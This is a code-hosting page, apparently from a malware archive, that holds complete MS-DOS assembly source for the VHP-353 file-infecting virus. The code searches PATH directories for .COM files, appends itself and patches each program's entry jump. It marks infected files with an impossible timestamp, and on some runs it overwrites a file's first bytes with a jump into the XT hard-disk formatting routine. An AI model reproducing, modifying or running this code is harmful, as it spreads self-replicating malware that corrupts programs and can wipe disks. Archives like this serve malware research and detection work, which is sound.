MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vhp-353.asm
2021-01-12 18:04:54 -06:00

274 lines
6.2 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

page ,132
name VHP_353
title Virus; based on the famous VHP-648 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
environ equ 2C
newjmp equ 7Bh ;Code of jmp instruction
codeptr equ 7A ;Here is formed a jump to the virus code
pname equ 78 ;Offset of file name in the dir path
poffs equ 76 ;Offset in the contents of the `PATH' variable
errhnd equ 74 ;Save place for the old error handler
fname equ 70 ;Path name to search for
mydta equ 2C ;DTA for Find First/Next:
attrib equ 17 ;File attribute
time equ 16 ;File time
date equ 14 ;File date
fsize equ 12 ;File size
namez equ 0E ;File name found
start:
jmp short begin
nop
int 20
saveins db 3 dup (90) ;Original first 3 bytes
begin:
call virus ;Detrmine the virus start address
data label byte ;Data section
allcom db '*.COM',0 ;Filespec to search for
pathstr db 'PATH='
;This replaces the first instruction of a destroyed file.
;It's a JMP instruction into the hard disk formatting program (IBM XT only):
bad_jmp db 0EA,6,0,0,0C8
virus:
pop bx ;Make BX pointed at data
mov di,offset start ;Push the program true start address
push di ; onto the stack
push ax ;Save AX
cld
lea si,[bx+saveins-data] ;Original instruction saved there
movsw ;Move 2 + 1 bytes
movsb
mov si,bx ;Keep SI pointed at data
lea bp,[bx+endcode-data+7A] ;Reserve local storage
mov ax,3524 ;Get interrupt 24h handler
int 21 ; and save it in errhnd
mov [bp-errhnd],bx
mov [bp-errhnd+2],es
mov ah,25 ;Set interrupt 24h handler
lea dx,[si+handler-data]
cmp al,0 ;DOS < 2.0 zeroes AL
je exit ;Exit if version < 2.0
push ds
int 21
lea dx,[bp-mydta]
mov ax,1A00 ;Set DTA
int 21
xor di,di ;Point ES:DI at the environment start
mov es,ds:[di+environ] ;Environment address
mov bx,si
search: ;Search 'PATH' in the environment
lea si,[bx+pathstr-data]
mov cx,5 ;5 letters in 'PATH='
repe cmpsb
je pfound ;PATH found, continue
mov ch,80 ;Maximum 32 K in environment
repne scasb ;If not, skip through next 0
scasb ;End of environment?
dec di
jc search ;If not, retry
pfound:
pop es ;Restore ES
mov [bp-poffs],di ;Save 'PATH' offset in poffs
lea di,[bp-fname]
mov [bp-pname],di
filesrch:
lea si,[bx+allcom-data]
movsw
movsw ;Move '*.COM' at fname
movsw
mov si,bx ;Restore SI
mov ah,4E ;Find first file
lea dx,[bp-fname]
mov cl,11b ;Hidden, Read/Only or Normal files
jmp short findfile
checkfile:
mov al,[bp-time] ;Check file time
and al,11111b ; (the seconds, more exactly)
cmp al,62d/2 ;Are they 62?
;If so, file is already contains the virus, search for another:
je findnext
;Is 10 <= file_size <= 64,000 bytes?
sub word ptr [bp-fsize],10d
cmp [bp-fsize],64000d-10d+1
jc process ;If so, process the file
findnext: ;Otherwise find the next file
mov ah,4F ;Find next file
findfile:
int 21
jnc checkfile ;If found, go chech some conditions
nextdir:
mov si,[bp-poffs] ;Get the offset in the PATH variable
lea di,[bp-fname] ;Point ES:DI at fname
mov ds,ds:[environ] ;Point DS:SI at the PATH variable found
cmp byte ptr [si],0 ;0 means end of PATH
jnz cpydir
olddta:
mov ax,2524 ;Set interrupt 24h handler
lds dx,dword ptr [bp-errhnd]
int 21
push cs
pop ds ;Restore DS
exit:
mov ah,1A ;Set DTA
mov dx,80 ;Restore DTA
int 21
pop ax
ret ;Go to CS:IP by doing funny RET
cpydir:
lodsb ;Get a char from the PATH variable
cmp al,';' ;`;' means end of directory
je enddir
cmp al,0 ;0 means end of PATH variable
je enddir
stosb ;Put the char in fname
jmp cpydir ;Loop until done
enddir:
push cs
pop ds ;Restore DS
mov [bp-poffs],si ;Save the new offset in the PATH variable
mov al,'\' ;Add '\'
stosb
mov [bp-pname],di
jmp filesrch ;And go find the first *.COM file
process:
mov di,dx ;[bp-pname]
lea si,[bp-namez] ;Point SI at namez
cpyname:
lodsb ;Copy name found to fname
stosb
cmp al,0
jne cpyname
mov si,bx ;Restore SI
mov ax,4301 ;Set file attributes
call clr_cx_dos
mov ax,3D02 ;Open file with Read/Write access
int 21
jc oldattr ;Exit on error
mov bx,ax ;Save file handle in BX
mov ah,2C ;Get system time
int 21
and dh,111b ;Are seconds a multiple of 8?
jnz infect ;If not, contaminate file (don't destroy):
;Destroy file by rewriting the first instruction:
mov cx,5 ;Write 5 bytes
lea dx,[si+bad_jmp-data] ;Write THESE bytes
jmp short do_write ;Do it
;Try to contaminate file:
;Read first instruction of the file (first 3 bytes) and save it in saveins:
infect:
mov ah,3F ;Read from file handle
mov cx,3 ;Read 3 bytes
lea dx,[si+saveins-data] ;Put them there
call dos_rw
jc oldtime ;Exit on error
;Move file pointer to end of file:
mov ax,4202 ;LSEEK from end of file
call clr_dx_cx_dos
mov [bp-codeptr],ax ;Save result in codeptr
mov cx,endcode-saveins ;Virus code length as bytes to be written
lea dx,[si+saveins-data] ;Write from saveins to endcode
call dos_write ;Write to file handle
jc oldtime ;Exit on error
call lseek ;LSEEK to the beginning of the file
;Rewrite the first instruction of the file with a jump to the virus code:
mov cl,3 ;3 bytes to write
lea dx,[bp-newjmp] ;Write THESE bytes
do_write:
call dos_write ;Write to file handle
oldtime:
mov dx,[bp-date] ;Restore file date
mov cx,[bp-time] ; and time
or cl,11111b ;Set seconds to 62 (the virus' marker)
mov ax,5701 ;Set file date & time
int 21
mov ah,3E ;Close file handle
int 21
oldattr:
mov ax,4301 ;Set file attributes
mov cx,[bp-attrib] ;They were saved in attrib
and cx,3F
lea dx,[bp-fname]
int 21 ;Do it
jmp olddta ;And exit
lseek:
mov ax,4200 ;LSEEK from the beginning of the file
clr_dx_cx_dos:
xor dx,dx ;From the very beginning
clr_cx_dos:
xor cx,cx ;Auxiliary entry point
db 3Dh ;Trick
dos_write:
mov ah,40 ;Write to file handle
dos_rw:
int 21
jc dos_ret ;Exit on error
cmp ax,cx ;Set CF if AX < CX
dos_ret:
ret
handler: ;Critical error handler
mov al,0 ;Just ignore the error
iret ; and return
db 0E9 ;The JMP opcode
endcode label byte
code ends
end start